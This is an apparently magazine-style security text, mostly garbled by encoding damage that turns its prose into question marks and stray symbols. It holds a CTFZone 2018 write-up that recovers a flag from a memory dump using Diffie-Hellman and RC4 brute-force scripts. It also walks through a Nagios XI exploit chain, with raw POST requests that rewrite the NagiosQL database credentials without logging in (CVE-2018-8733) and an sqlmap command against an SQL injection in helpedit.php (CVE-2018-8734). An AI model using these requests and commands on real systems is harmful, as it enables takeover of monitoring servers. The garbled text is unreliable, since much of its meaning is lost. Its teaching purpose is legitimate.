???�??�????�???�??�???燤DMP????�?�????�?�??�營DA燩ro.
???�?????�??�??�?��?????�??�??�??�?
??�?��?????�?,�??�????�???��?????��?????�??�??�??�?
??�??�??�????�???�??�?,�??�???�??�??�??��?????�????�????�???�
????�??�???�?�??�??�?爏erver.exe.�??�?�??�??�???�?????�?????�??�???�
??� server.exe,� ????�?????� ???�?� ???????� ?????� ???????� ???�???� ?� ?????�
??????�?�營DA燩ro.
??�????�??�???�?�???�???�??
???�?????�??�??�?��?????�??�??�??�?�??�?�???�???�??
?�????�??????�??????�??�???
???�????�??� ????�??� ????�???�?� ???� ???�??�??� ???�???,� ???????
??�???�???�???�???�???�??�?.
??????�?????�???????燬ERVER.EXE
???�?� ??????,� ???� ???�???� server.exe� ???�??� ?� ???�??� ?ag.txt,� ???�??�????
??????�??�?????.
???�??�??�????�?????�?????�??�??�?爏erver.exe
???�??� ?????� ???�???� server.exe� ???�????�???�?� ???????� ???�??�??�????
?�??�????.�???�????�??�???�??�????�????�??�?�???�??�???�??�????�
???�???�???��??�????�???�??????�????�??�??�??�???�????�???.
????�????�??�???�??�????�????�?????�?�??�??�??�????��??�
?????
???�?� ????????� ???�????�????� ??????�?� ???�??�??�????� ???�???� ???????�
????�?�???�?�"Tell爉e爕our爏ecrets\n".
???�?????�??�??�??�????��??�????
??�??� ??� ???�???� ???�???� ?� ??� ???�???� ???�???� ??????�???�?� ????� ???�??
???�?��??�??�?��??�???�???�?????�??�??�????�?�??�?��????�???
????燩UBLICKEYBLOB.
???�???�??�??�???�?????�??�??�??.
??�???�??�??�??�??�??????�?�??�???�??�???
?� ???�??� ???�??� ???�????� ???�?� ?� ???�??�?� ?????�????� ???�????� ???�
?????�????� Microsoft.� ?� ?????�??� ?????�??� ???????�??� ???�?� ?� ???�??�?
??� ???�???� ???�???� ?� ??� ???�???� ???�???� ??????�???�?� ????�??�???� ????�
?????� ??????� ?� ??????�???,� ???�??�??� ?� ???????�?.� ???�?????� ????????
???�?� ?� ???�??�?� ??????�???�?� ???�??�??� ????�??� ???� ??????� ???�???
CryptSetKeyParam��???�??�??燢P_X.
????�????�??�???�?????�?�??�????�?�??�?�???�????�???.
????�????�??�???�?????�?�??�????�?�??�?�??�?��??�??�?
???�?� ??????�??� ?� ??????�?� ???�??� ???�?� ?� ???�??�?� ???�??� ?� ???�??
????�???�???�??�????�?�??�???,��??�?�?�??�?�??�????�?????�???�?
?????�??�???�??�???.
??�??�???�???�???�????�????�??�?????�??�????:
? ??�???�??� ???�?� ???�????�?� ???�?� ???�?� ?� ???�??�?,� ???�???�?????�
????�?�??�???,��?????�???�?�??�???�???�??�??
? ??�???�?�??�?�??�????�?�??�?�??�?��??�??�?,�??�???�????�???
??????�?.
??�??�??�????�?�??�???�??�?�??�????��??�????
??�???�??�???�???�??�?�??�??????
??� ?????�?� ???�?,� ???� ?????� ???�???�??� ????� ???????�???�?� ???� ????�
???????� ???�??� ?� ???????� ????�??�?� RC4.� ???�????�?� ????� ???�??
???????�?????�?�?�??�???�??�???�??�?�?????�??�??�??�?�??�????�?
???�?�??�?��??�??�?,�??�???�????�???�??�????.
???�?�??�?????�??�??�???�???�??�?�??�??????�?�??�???�??�???
???�???�??�??�?????�(??.�??????�???):
1.�??�?�??�??�?�??�???:
? ???�??�?????��??�???�(4�??�?)?
? ???�????�??�??�?燙RC32�?�?????��??�???�(4�??�?)?
? ??�??,�????�????�??�??,�????�????�??�????�??�???�??�???�
???�?�??�???�??�???�??�?????�??�????�?�??�?�??�?��???�
???�?�?�??�???�(???�??�???�???�???�??�??�????).
2.�??�??�?�??�????�??�??�?.
3.�??�?????�?� ???�??� ?????� ???�???�??� ???�??,� ???�???�????�??
??� ???�???� ???�???� ???� ??????� ???�????�?� ???�?� ???�?� ?� ???�??�?
??�??�???.
4.�?�???�??�????�??�??�??�??��???��??�???�?�ag.txt.
???�?,�??�?????�?��?????�??�??��???�ag.txt
????�??�???
??�??� ????�??,� server.exe� ?� ???� ?????� ???�??????�????�?� ???�???�??,� ???
?????�???�?�??�?????�??�???:
? ???�????�????�????�????��??�?????
? ??�???�??�???�??�??�??�?��??�??�??
? ??�????�??�????�?�??�?�??�?��??�??�??
? ??�???�??� ???�?� ???�????�?� ???�?� ???�?� ?� ???�??�?,� ???�???�?????�
????�?�??�???�??�????
? ??�???�???�?�??�???�???�??�?燫C4�??�??�?????�?�??�??�?�???�
????�??�????
? ??�???�?� ???�???� ???�?� ???�????�?� ???�?� ???�?� ?� ???�??�?,� ???�????�
?????�???�?????�??
? ??�???�??�??�??�?�??�???�??�????
? ???�??�?,�??�?????�?��?????�??�??��???�ag.txt.
???�?�????�?,�????�???�?�??�??�????�?��???�ag.txt.�???�???��??,
???��??�?�??�??�?爏erver.exe�??�??�??�??�?�?????�?�???�?��?????�
?????�??� ????,� ???� ???� ?????� ???�???� ???�?� ?????� ?� ???�????�??�???
???�???�???�????�??�?????�????�?????.
??�???�???�?????��??�????�??�???�??�???
?????�?????�??�?????????????�??????????�????
FLAG.TXT
???�?�??�?�????�????�??�?�ag.txt,�??�?�??�??????�????�??�?????�
?????�??�????�????��??�??�??�??�?????�?.
??????????? ??????
?
? �?????�?????
?????
CTFZONE 2018:
PRIVATE_PROBLEM
?????????�??????�??????�?�?????
?�????????��?????????燙TF
????????燘I.ZONE
??�??�????�????�???�????�?????�??�?爁lag.txt
??�???�???�?�??�????�?�??�???�??�?,�??�???�???�?�????�????�??
?????�????�??�?�ag.txt�??????�?��????�???,�?�??????�??�???�?� pBuf.
???�?� ??????�??????� ????� ?????�???� ????�??�???�?� ???????�??� ??????
?�?????�???�??�?????� pBuf�(??.�??�???).�??�?�??�??,�??�??�???????�
???� ??????� ??????�???�???�?.� ?� ???�?� ?� ???�??�????�?� ??????� ???�???
free()�?????�???�?�????�???�???�?�??�??�??�???�????�???�(???�??
?????�????�??�??�??�燙RC32�?�????�????�??�??�??).�????�???�??,
???�?� ?????�????,� ???� ?????�????�??� ?????�????� ???�?� ?ag.txt� ???????�
????��?????�??�??�?爏erver.exe��?????�??�??�??�?.
WWW
??�??�??�????��????�???�?�?????燱indows
???�?�???????�燤SDN.
??�????�????�??????�??�??�??
??�??� ???�?????�??� ???�??� ???�??�???�???� ???�????�??� ???�?� ???� ????�
???�?� ?????�???�?.� ?????� ???�??�??� ???�????�??� ???�?� ?� ??????�??
???????�??� BufLength�� CRC32�??�???�???�??�????�?�????�???�?�????�
??爌Buf.
???�????�??�???�????�????�??�??�??
???�????�??�????�??�??�?�?�????�????�??�??�??
????�?� ???�????� BufLength� ?� CRC32� ??� ????�???�?.� ??????�???,� ???� ??
?????� ???�?� ???�?� ?????�????�??� ?????�????� ???�?� ?ag.txt� ?� ???�?.
???�??�?�??�?�????�???�??�??�?????�???�??�?????�??�??��??�?,
CRC32� ??� ???????� ???�???�?� ??� ???�???�?� 0xF8418A4D.� ???� ????�????
??????�?�??�?�??�???燙RC32�???�?�?�??�??��????�??�????�???.
???�????�????�?燩ython.
from燽inascii爄mport燾rc32
def爂et_enc_data(dump,爏tart,爀nd):
牋燽rute_buf�燿ump[start:end:]
牋爌rint("[*]爏earch爁or爀ncrypted爁lag�...")
牋爁or爌ointer爄n爎ange(end�爏tart��):
牋牋牋爀nc_buf�燽rute_buf[pointer:pointer�+�:]
牋牋牋爄f爈en(set(enc_buf))��:
牋牋牋牋牋燾ontinue
牋牋牋爄f燙RC32�=�(crc32(enc_buf)�%�(1<<32)):
牋牋牋牋牋爌rint("[+]爀ncrypted爁lag爓as爁ound")
牋牋牋牋牋爎eturn爀nc_buf
牋爌rint("[?]爀ncrypted爁lag爓as爊ot爁ound")
牋爎eturn�
??�??�??�???�??�?��??�??�?
??�??�??�???�??�???�??�???��??�???�???�?�???????�??�??�??�???�
?????�?� ???????�?,� ???�???�????�???� ???� ??????� ???�???� CryptSetKey?
Param� ?� ????�??�??� KP_X.� ?� ?????�??� ????????� ???�??� ?� ???� ????� ???�????
??????�(P)��?????�???�(G)�(g_rgbPrime�爂_rgbGenerator��???�?????�??
???�??�???).
P��8df2a494492276aa3d25759bb06869cbeac0d83afb8d0cf7cbb8324f0d
7882e5d0762fc5b7210eafc2e9adac32ab7aac49693dfbf83724c2ec0736ee3
1c80291
G��626d027839ea0a13413163a55b4cb500299d5522956cefcb3bff10f399
ce2c2e71cb9de5fa24babf58e5b79521925c9cc42e9f6f464b088cc572af53e
6d78802
???�????�???�??�??��??????�?��??�???�??�??????�??.
??�??�???�??????�?�??�?��??�??�?��?????�??�??�?爏erver.exe
?� ????,� ???????� ????�??�???� ???????�??� ???�??� (??.� ????),� ???�?
????????�??�?????:
? ????�??�??�????�??????�??�???燙ryptReleaseContext?
? ????�??�??�????�???�???�?�??�???�?�?�???�??�????�?�??�?�???�
??��??�??�?,�??�???�????�???�?�??�???�??�???.
??�??�???�??,�?�???�?� pbKeyBlob_server�??????�????��??�??�???�
?????�?�??�?�??�???.
??�??��??�??�??�????�?�??�?�??�?��??�??�?,�??�???�????�
????�?�??�???�??�???
????�??�?�??�?????�????�???:
static燘YTE爌bPublicKeyBlob_server[]�
{
牋�//燽Type�燩UBLICKEYBLOB
牋�06,�
牋�//燽Version��牋�
牋�02,�
牋�//爎eserved
牋�00,�00,燬
牋�//燗LG_ID燼iKeyAlg�燙ALG_DH_SF
牋�01,�AA,�00,�00,
牋�//燚H1
牋�00,�44,�48,�31,�
牋�//燾bPublicKey��2�(bit)
牋�00,�02,�00,�00,
牋�//爌ublic_server�燝燸爏ecret_server�(mod燩)
牋�4c,�0e,�64,�84,�3f,�79,�3b,�68,�
牋�00,�01,�2f,�24,�30,�36,�29,�7c,
牋�88,�22,�48,�a3,�99,�34,�64,�ed,�
牋�7b,�e2,�13,�5a,�2d,�72,�0b,�20,
牋�d8,�23,�3f,�b8,�2c,�0c,�8a,�75,�
牋�9c,�c7,�7c,�50,�23,�32,�0d,�91,
牋�1d,�a9,�0d,�38,�9e,�22,�ed,�2d,�
牋�e3,�37,�fa,�1d,�41,�22,�70,�19
};
???�?????� 64� ???�?� ?� ???�?????� ????� ???�???,� ??� ???�?????�???� ??� ????�
????��??�????�??.
??�???�?�??�?�?�???�?燩�燝,�?��??�?????�???�??�???.
public_server��197094411dff37d12ddd93d7380dea1dc50d3223507ce39d7
5d50c2caa9023ec200b722d5a13d47bdd6434d6fa4893b37c293630242f0100
683b7980e4640e4c
???� ???� ?????� ???�???� ???�?� ??� ????� ???�???� ???�???� CryptReleaseCon?
text,� ?� ??????� ???�??� ??????�?� ???�??�?� ???�???�????�??� ????�??� ???�?.
?????�???�??,�??�?�??�?�??�?????�???????�??�???�(secret_server),
?????�??� ?� ???�?� ???� ???�?� ???�??� 64� ???�?,� ???????� ????�????�???� ????�
?????�?�???�??:
public_server�燝燸爏ecret_server�(mod燩)
???�????�?� ????�?� ?????�????�???� ?????�?????� ???�?� ?ag.txt� ???�????�?
???�?????�???�??�??�?,�??????�??�?�??????�??�??��????�??�?????�
????.
??�??��????�????�?燩ython.
#燞ardcoded爒alues
P��8df2a494492276aa3d25759bb06869cbeac0d83afb8d0cf7cbb8324f0d
7882e5d0762fc5b7210eafc2e9adac32ab7aac49693dfbf83724c2ec0736ee3
1c80291
G��626d027839ea0a13413163a55b4cb500299d5522956cefcb3bff10f399
ce2c2e71cb9de5fa24babf58e5b79521925c9cc42e9f6f464b088cc572af53e
6d78802
#燜rom燚H燩UBLICKEYBLOB爏tructures
public_server��197094411dff37d12ddd93d7380dea1dc50d3223507ce39d7
5d50c2caa9023ec200b722d5a13d47bdd6434d6fa4893b37c293630242f0100
683b7980e4640e4c
def爂et_number_le(buf):
number_le��for爄爄n爎ange(len(buf)):
牋爊umber_le�+=燽uf[i]�*爌ow(256,爄)
return爊umber_le
def爂et_secret(dump,爏tart,爀nd,爌ublic):
牋燽rute_buf�燿ump[start:end:]
牋爌rint("[*]爏earch爁or爏ecret�...")
牋爁or爌ointer爄n爎ange(end�爏tart��):
牋牋牋爏ecret_buf�燽rute_buf[pointer:pointer�+�:]
牋牋牋爄f爈en(set(secret_buf))��:
牋牋牋牋牋燾ontinue
牋牋牋爏ecret_number�爂et_number_le(secret_buf)
牋牋牋爄f�(public�=爌ow(G,爏ecret_number,燩)):
牋牋牋牋牋爌rint("[+]爏ecret爓as爁ound:�"�+爃ex(secret_number))
牋牋牋牋牋爎eturn爏ecret_number
牋爌rint("[?]爏ecret爓as爊ot爁ound")
牋爎eturn�
??�???�??�??�???�???�??�?�??�??????
???�????� ???�???�?� ???�?� ?� ???�??�?,� ???� ??????�??� ???�???�???� ???�?
???�??????�?�??�???�??�???�???�?????�????�??�?????�???�??�???.
????�??�????�?�??�?�??�???�??�??�???�??��?????�??�?�??�?�??�??
???�????.� ????� ???�??�?� ????� ???�?� ????�??�????� ????� ??????� ?� ?????�
?????� ???�???�?� pbKeyBlob_client.� ???� ??� ?????� ???�?????� ????� ???�???
???�??�??????�?��?????��????�???�??�??��??�?�?�??�????燚H1.
????�??�????�?�??�?�??�???��?????�??�??�?爏erver.exe
?????�???� ???�?� ???�????�?� ???�?� ???�?� ?� ???�??�?,� ???�???�????�???
???�????:
static燘YTE爌bPublicKeyBlob_client[]�
{
牋�//燽Type�燩UBLICKEYBLOB
牋�06,�
牋�//燽Version��牋�02,�
牋�//爎eserved
牋�00,�00,�
牋�//燗LG_ID燼iKeyAlg�燙ALG_DH_EPHEM
牋�02,�AA,�00,�00,
牋�//燚H1
牋�00,�44,�48,�31,�
牋�//燾bPublicKey��2�(bit)
牋�00,�02,�00,�00,
牋�//爂_rgbY�燝燸燲�(mod燩)
牋�4e,�c0,�07,�24,�f2,�f3,�1a,�5a,�
牋�38,�df,�4e,�2b,�49,�7b,�60,�78,
牋�a2,�ac,�be,�7a,�be,�16,�40,�06,�
牋�8d,�44,�ee,�42,�fb,�60,�1d,�ec,
牋�3f,�f0,�ee,�bf,�06,�05,�23,�80,�
牋�f8,�3d,�7f,�e5,�3c,�fe,�14,�12,
牋�c5,�6f,�56,�f8,�29,�18,�bf,�44,�
牋�6d,�9a,�70,�ae,�e4,�95,�80,�18
};
???�?????��??�?�????�???��??�?????�???�??�???�(public_client):
public_client��188095e4ae709a6d44bf1829f8566fc51214fe3ce57f3df88
0230506bfeef03fec1d60fb42ee448d064016be7abeaca278607b492b4edf38
5a1af3f22407c04e
????,� ???�??????�??� ??� ???�???�?� ???�?� ?� ???�??�?,� ?????�???�?� ????�
?????�??�?????�???�??:
ses_key�爌ublic_client燸爏ecret_server�(mod燩)
??�??�????� ???�?� ?ag.txt� ???�????�???�???� ???� ??????� ????�??�?� CAL?
G_RC4�?�???�??�???�??�??�??�?�8�??.�????�???�??,�??�?????�??
???�?� RC4� ????�?????� ?????� 128� ???� ??� sec_key� ?� ?????�?� ??� ????�???
?�???�???�(little?endian).
???�?????�?�??�?
??� ??????�?� ???� ????�??????� ???�??� ???� ?????�????� ?????�?????� ???�?
?ag.txt:
ses_key��2d44c53d424087361ff8f24499f75d5795e63813285627d37
b41ad6f600f96de18ef948c0fc4188f59821f0330f584ae11f1c8319201d93e
9c41049b13ccfe7b
rc4_key�燽"\x7b\xfe\xcc\x13\x9b\x04\x41\x9c\x3e\xd9\x01\x92\x31\xc8\
xf1\x11"
enc_flag�燽"\x7b\x20\x4e\x02\x19\xb9\xca\xd6\x1f\x3f\xdb\x02\x37\
x09\xd6\xb7\xda\x85\x6e\xf2\xfe\x2e\xa3\x1f\x05\x0c\x86\x17\xe9\xfb\
x00\xd8\x13\x7f\xbf\x9f\xa8\x9a\x8f\x8d\x71\xe8"
??�????�?,�??�??�??????燙TF�???�??�?�????�?燣C?BC�??�?�???�???�
???�??�?????�?�??�?�??�?????�??????�??�????� rc4_key.��??�?�???�
???�?� server.dmp� ????�???� 256� ????� S????�?� (state),� ???????�??� ???�?� ????�
???????�??�?爎c4,�??�??��??�???�???????.
???�????燬????�?��?????�??�??�?爏erver.dmp
???�?�??�?????�?爀nc_flag�???�??�??爎c4�??????�???�??�????�????
???�?�ag.txt.
??????????
??� ??????� ???????,� ???????� ????�?????�?� ???�??� ?????�?,� ?????� ?????�
?????�??,��??�?�????�???�?�?????燱indows.� ???�??�?????��?????�?
???�????�?燝itHub.�???�???�??�?燙TF!
?????
???????
NAGIOS
?????????�?????�??????
???????????��?????????
???????�??????????
aLLy
ONsec
@iamsecurity
Nagios��??�???�?�??????�??�??�??????�??�??????�
???�?,� ???????� ??????�???�?� ??� ???�??� ????�??� ???�???�?.
????�????�??��??�??�????�?�??�????��??�??�??�???�
????�??� ???�???� ?� ?????�????� ???�?????�???� ????� ?� ????�
????� ?????�???�?????�?,� ?� ???� ??� ???�??�??�??� ??� ???�?
????�???�?????�?�??�???�????.�????�??�????�?,�????
????�?�????�???�??�????�???��??�???�??�?�??�????�
??????�?.
Nagios�???�?�?????�?�????�??�??�??�??�???�?�???�???�????�????:
???�????� ???�?????� ?????�???�??� ???�??� ?� ?????,� ???�??????� ??� ??????�
?????�???� ????�???� ?� ??????�?� ?� ????� ?????�??� ??????.� ???�?� ?� Nagios
???�??� ???�????�??� ???�???� ???�???�??� ????�?� ??� ????�???�?� ?� ???�???�
???�???�??� ???�???,� ???�????� ???�?� ????????� ??� ???�????�??� ????�???�?
????�?????.
????�???� ????� ????�???�?� ?????�???�???�?� Redacted� Security� ?� ????�
??????�?�??�??�??�??�??�?�?????�?燦agios燲I�??�??�4.12.
?????????????
???�?????�??�??�??�????�?��??�???�??�????�???�????.燦agios燲I�???�
??� ????�?� ??????�?� ???�???� ?� ???�????�???� ???�?� ????�??�?� ???�???�?.
???�?� ????�??�?� ??� ???�??�?� ???�???�???� ?� ????�??� ??????
?�??????��???.�??�??�?�???�?�??�????�?.
??�????�??�????�???��??�???�??�???�????:��???�?????�??�??�???�
????�??燣inux,��???�???�?燰HD�??燱indows��??�??�???�???�??�??�???�
?????�????�?�???�?�????�?????�(Hyper?V)���??�???燨VF�(Open燰irtual?
ization� Format),� ???????� ???�????�???�?� ???�?� ???�??�???� ???�???�????
???�??�????�????.�??�???�??�?????�?????�???�?�??�?????�???�??.
???� ??????�????� ?� ????� ???�?????� ??� ???�?????� ???�????� ???�??� ????�
????� ?� 5.4.12,� ?????�?� ???�???� ???�???� ??� ?????.� ???�?� ???�?� ???�?� ????�
???????�??�?�??�????�??�?????.�??�???�???�????�??�??�??�??????�
???�??�??�?燰Mware,�??��??�???�??�??????�???燰irtualBox�??�???�?
VMware燩layer.
??�???�???�?燦agios燲I�4.12�燰Mware燱orkstation
???�?� ??????� ?????�????,� ?????�??� ????�???�??�??� ???�???�?,� ???�?� ????�
?????�?????�??� ???�????� ?????� ????�??????� ????�???�??� ?� ???�???,� IP?
?????�?????��?????�???.�?�????�?�??爊agiosxi.
??�??�??�???�???�??�???�?燦agios燲I
??�???,�??��?????�?�??�???,�??�?�????�?��??�??�?�?�??�??�???營P?
????�?��????�???�?????�??�??�???�?.
??�????�?燦agios燲I�????�????????????
???�?�??????�?�???�?營nstall�??�???�????�?????��????�????�??.
??????�???.�????�??????????.燙VE-2018-8733
?�??�??燦agios�??�??燦agiosQL��??�????????????�??�??�?????�????�
???�??�???.�?�????�?�?�??�?????�???�?�???�?�/nagiosql/.�???�????�
????�?� ???�?,� ??????�??� ??� ??� ????�?� ????????????,� ???????� ??� ???�???�?
??�??�?�?????�??�??�???�?.
?????????????燦agiosQL
?� ???�???� Administration� ????� ???�?????� Settings,� ???� ???�?� ???�??�??
???� NagiosQL.� ???�?� ???????�??� ?????� ????� ???�??� Database,� ?� ???????
???????�?�??????�?�??�??�????��???�??�??.
???�?????�??�??????�??�??�??�????��???�??�??
???�?????�???�?��??�?????�???�??�???爏ettings.php.�?�???�????�?
???�????�??�??�?�??.
/var/www/html/nagiosql/config/settings.php
01:�?php
02:爀xit;
03:�>
...
20:燵db]
21:爏erver牋牋牋�爈ocalhost
22:爌ort牋牋牋牋��06
23:燿atabase牋牋�爊agiosql
24:爑sername牋牋�爊agiosql
25:爌assword牋牋�爊@gweb
26:燵common]
27:爄nstall牋牋牋=爌assed
??�???�???,�??�??????�?????�??�?????�?�??�????�???�?�??�???�????�
???�???� ????�?.� ???� ????� ???�????� ?� ????????� ?????�?,� ???????� ????�???
??�???�????�??�???,��???�?��??�?????.
/var/www/html/nagiosql/admin/settings.php
23:�$intMain牋牋=�
24:�$intSub牋牋��;
25:�$intMenu牋牋=�
26:�$preContent��"admin/settings.tpl.htm";
27:�$strMessage��"";
28:�$intError牋��
29:�//
30:�//營nclude爎equirements
31:�//�=====================
32:�$preAccess牋牋=�
33:�$preFieldvars��
34:�//營mport燽asic爁unction
35:爎equire("../functions/prepend_adm.php");
36:�//營mport爐ranslation爁unction
37:爎equire("../functions/translator.php");
??� 35??� ????�?� ???�??�???�?� ????� prepend_adm.php,� ???????� ?� ???� ???�?
?????�???�??�??�????�???�???�??.
/var/www/html/nagiosql/functions/prepend_adm.php
164:爄f�(($_SESSION['username']�!=�"")�&&�(!isset($preNoLogCheck)爘|�
($preNoLogCheck�=�))爗
...
182:牋牋牋牋爄f�($intResult�!=�爗
183:牋牋牋牋牋�$myDataClass?>writeLog(_('Restricted爏ite燼ccessed:').
"�".$_SERVER['PHP_SELF']);
184:牋牋牋牋牋爃eader("Location:�".$SETS['path']['protocol']."://".$
_SERVER['HTTP_HOST'].$SETS['path']['root']."admin/errorsite.php");�
//爐odo燾heck
185:牋牋牋牋爙
...
190:牋爙爀lse爗
191:牋牋�//燦eues燣ogin爀rzwingen
192:牋牋�$myDataClass?>writeLog(_('User爊ot爁ound爄n燿atabase'));
193:牋牋爃eader("Location:�".$SETS['path']['protocol']."://".$_SERVER
['HTTP_HOST'].$SETS['path']['root']."index.php");
...
195:爙爀lse爄f�(!isset($preNoLogin))爗
196:牋�//燦eues燣ogin爀rzwingen
197:牋爃eader("Location:�".$SETS['path']['protocol']."://".$_SERVER['
HTTP_HOST'].$SETS['path']['root']."index.php");
??�????�?�??�???,�?�???�?�??��???�?�????�????�?????�????�?�???�
??� ???????�?.� ???�???�?� ?????� ????�????�????� ???�????�????� ?????�????
????�??�??�????,�???�???�???�???????�?�???�???�??,��?�????�???�
????�???�????��??�?????�???�??�???.
/var/www/html/nagiosql/admin/settings.php
043:�$selLanguage牋牋=爄sset($_POST['selLanguage'])牋牋?�$_POST['
selLanguage']牋牋牋牋牋牋牋牋牋牋牋牋牋��$SETS['data']['locale'];
...
045:�$txtDBserver牋牋=爄sset($_POST['txtDBserver'])牋牋?�$_POST['
txtDBserver']牋牋牋牋牋牋牋牋牋牋牋牋牋��$SETS['db']['server'];
046:�$txtDBport牋牋牋=爄sset($_POST['txtDBport'])牋牋牋?�$_POST['
txtDBport']牋牋牋牋牋牋牋牋牋牋牋牋牋牋��$SETS['db']['port'];
047:�$txtDBname牋牋牋=爄sset($_POST['txtDBname'])牋牋牋?�$_POST['
txtDBname']牋牋牋牋牋牋牋牋牋牋牋牋牋牋��$SETS['db']['database'];
048:�$txtDBuser牋牋牋=爄sset($_POST['txtDBuser'])牋牋牋?�$_POST['
txtDBuser']牋牋牋牋牋牋牋牋牋牋牋牋牋牋��$SETS['db']['username'];
049:�$txtDBpass牋牋牋=爄sset($_POST['txtDBpass'])牋牋牋?�$_POST['
txtDBpass']牋牋牋牋牋牋牋牋牋牋牋牋牋牋��$SETS['db']['password'];
...
063:爄f�(�(isset($_POST))燗ND�(isset($_POST['selLanguage'])))爗
...
085:牋�$filSet�爁open($txtBasePath."config/settings.php","w");
086:牋爄f�($filSet)爗
087:牋牋爁write($filSet,"<?php\n");
088:牋牋爁write($filSet,"exit;\n");
089:牋牋爁write($filSet,"?>\n");
...
107:牋牋爁write($filSet,"server牋牋牋��".$txtDBserver."\n");
108:牋牋爁write($filSet,"port牋牋牋牋��".$txtDBport."\n");
109:牋牋爁write($filSet,"database牋牋��".$txtDBname."\n");
110:牋牋爁write($filSet,"username牋牋��".$txtDBuser."\n");
111:牋牋爁write($filSet,"password牋牋��".$txtDBpass."\n");
...
114:牋牋爁close($filSet);
???,�??�??�???�?,��??�???????�?????��??�??�??????�??��???�????�
???�???� ???????�??� POST????�???.� ??� ?????� ???�?????� ???�?????� ?????�
???:
POST�/nagiosql/admin/settings.php燞TTP/1.1
Host:爊agios.vh
Content?Type:燼pplication/x?www?form?urlencoded
Connection:燾lose
selLanguage=en_GB&txtDBserver=localhost&txtDBuser=nagiosql&txtDBp
ass=n@gweb
??�??�???�???�??��????�?????�??�??�???燦agiosQL
????� ???�??� ?� ???�??� ???� 302,� ??� ??????� ???�??�??� ????� ?????�????
?�?????�????�??�??.
???� ???� ?????�???�?� ?????� ????�??� ???� ????�??�??.� ???�?� ???�???
?�????�??�???�?�???�??�??�???�??�??�燫ogue燤ySQL燬erver��???????
?????�?� ???�??.� ???�?� ????�????� ??????�??� ???????�??� ????� ???�???????
???�???� ?????� ?� ?????�???�??.� ??� ???� ??� ???�??�?� ????�??�?.� ?????�?
?????�??�???????�??�?,�??�??????�??�???�??�????�????��????�???�
???.�??�??????�??�???�?????�?��????�???��??�??�??�??�???�??
???�???.� ???�?� ??� ????�????� ??????� ????�?????�?� root� ????�??�???�???
?爊agiosxi�?�???�?�??�??�?��??�???,�?��??�???�???�??��?.
POST�/nagiosql/admin/settings.php燞TTP/1.1
Host:爊agios.vh
Content?Type:燼pplication/x?www?form?urlencoded
Connection:燾lose
selLanguage=en_GB&txtDBserver=localhost&txtDBuser=root&txtDBp
ass=nagiosxi
??�??????�??????�??�??�??�????��?�燦agios�????�??�??????
CVE?2018?8733
??????????? ??????
?
? �?????�?????
?????
??????? NAGIOS
?????????�?????�??????
???????????��?????????�??????
???????????
????????燗PI-?????�????燬QL-????????.燙VE-2018-8734
??�???� ???�????� ???� ?� ????� ???�??� ???????�?� NagiosQL,� ???????� ???????�
????燞elp燛ditor.
???�??�??????燦agiosQL�??�????�?????�??�??�????�??�??
?????�??�?�????�???????�??�????�??�?????�??�??.�??�????��??�?.
/var/www/html/nagiosql/admin/helpedit.php
36:爎equire("../functions/prepend_adm.php");
???�???�?� ??� ??� ????�???� ?� ????�??� ????�???�??.� ???�?� ???�?,� ???� ???
???�??????�???�?�??�?�?�??�????�?�??????.�???�?�??�???�???????�
???�???�??�???.
040:�$chkKey1牋牋=爄sset($_POST['selInfoKey1'])牋牋?�$_POST['selInf
oKey1']牋��"";
041:�$chkKey2牋牋=爄sset($_POST['selInfoKey2'])牋牋?�$_POST['selInf
oKey2']牋��"";
042:�$chkVersion牋�爄sset($_POST['selInfoVersion'])牋��$_POST['
selInfoVersion']牋:�"";
043:�$chkDefault牋�爄sset($_POST['chbDefault'])牋牋��$_POST['chbDef
ault']牋牋:�"0";
044:�$chkHidKey1牋�爄sset($_POST['hidKey1'])牋牋牋?�$_POST['hidKey1'
]牋牋��"";
045:�$chkHidKey2牋�爄sset($_POST['hidKey2'])牋牋牋?�$_POST['hidKey2'
]牋牋��"";
046:�$chkHidVersion牋=爄sset($_POST['hidVersion'])牋牋��$_POST['
hidVersion']牋牋:�"all";
047:�$chkModus牋�爄sset($_POST['modus'])牋牋牋?�$_POST['modus']
牋牋牋:�"0";
...
055:爄f�(($chkContent�!=�"")�&&�($chkModus�=�"1"))爗
056:牋�$strSQL牋牋��"SELECT燻infotext`燜ROM燻tbl_info`
057:牋牋牋牋牋牋燱HERE燻key1`��'$chkHidKey1'燗ND燻key2`��'$chkHid
Key2'燗ND燻version`��'$chkHidVersion'
058:牋牋牋牋牋牋牋燗ND燻language`��'$setSaveLangId'";
059:牋�$booReturn牋=�$myDBClass?>getDataArray($strSQL,$arrData,$
intDataCount);
060:牋爄f�($intDataCount�=�爗
061:牋牋�$strSQL��"INSERT營NTO燻tbl_info`�(`key1`,`key2`,`version`,
`language`,`infotext`)
062:牋牋牋牋牋牋VALUES�('$chkHidKey1','$chkHidKey2','$chkHidVersion',
'$setSaveLangId','$chkContent')";
063:牋爙爀lse爗
064:牋牋�$strSQL��"UPDATE燻tbl_info`燬ET燻infotext`��'$chkContent'
065:牋牋牋牋牋燱HERE燻key1`��'$chkHidKey1'燗ND燻key2`��'$chkHid
Key2'燗ND燻version`��'$chkHidVersion'
066:牋牋牋牋牋牋燗ND燻language`��'$setSaveLangId'";
067:牋爙
068:牋�$intInsert��$myDataClass?>dataInsert($strSQL,$intInsertId);
069:爙
...
109:爄f�($chkKey1�!=�"")爗
110:牋�$strSQL牋��"SELECT燚ISTINCT燻key2`燜ROM燻tbl_info`燱HERE�
`key1`��'$chkKey1'燨RDER燘Y燻key1`";
...
123:爄f�(($chkKey1�!=�"")�&&�($chkKey2�!=�""))爗
124:牋�$strSQL牋��"SELECT燚ISTINCT燻version`燜ROM燻tbl_info`燱HERE�
`key1`��'$chkKey1'燗ND燻key2`��'$chkKey2'燨RDER燘Y燻version`";
?????� ?????� ??????�??� error� based� SQL????�????.� ???????�?,� ??� ???� ?????�
?????�??�????�???,�?�??�????�??�????.�?????,牜???�?粻?�??????�????
??� ???�???�?!� ??????�?� ???�??????�??�??� ?� ???�??�??� ???�??,� ??????�?
???�??�???�???�??�????�???��??�???�?�??�?�???.
???�??�???�???????,�????�?????�?�?�??�??�???�?��?,�?????爎oot,
??� ??� ???�?� ???�??� ???�??� ??� ????� ???�????,� ???� ????� ??� ???�???.� ?????
???�?�??�??�???�??�??????��??�??????,�??�???�??�???�??�??�?��???�
?????.� ???� ????� ?????� ???�?� ????�???� ????� ?????�???� sqlmap.� ??????�???
????????爏elInfoKey1�??�????�???�??�??�??�??�??�??�????.
python爏qlmap.py�u爃ttp://nagios.vh/nagiosql/admin/helpedit.php�
??data="selInfoKey1=1"�p爏elInfoKey1�?dbs�?tables�?exclude?sys
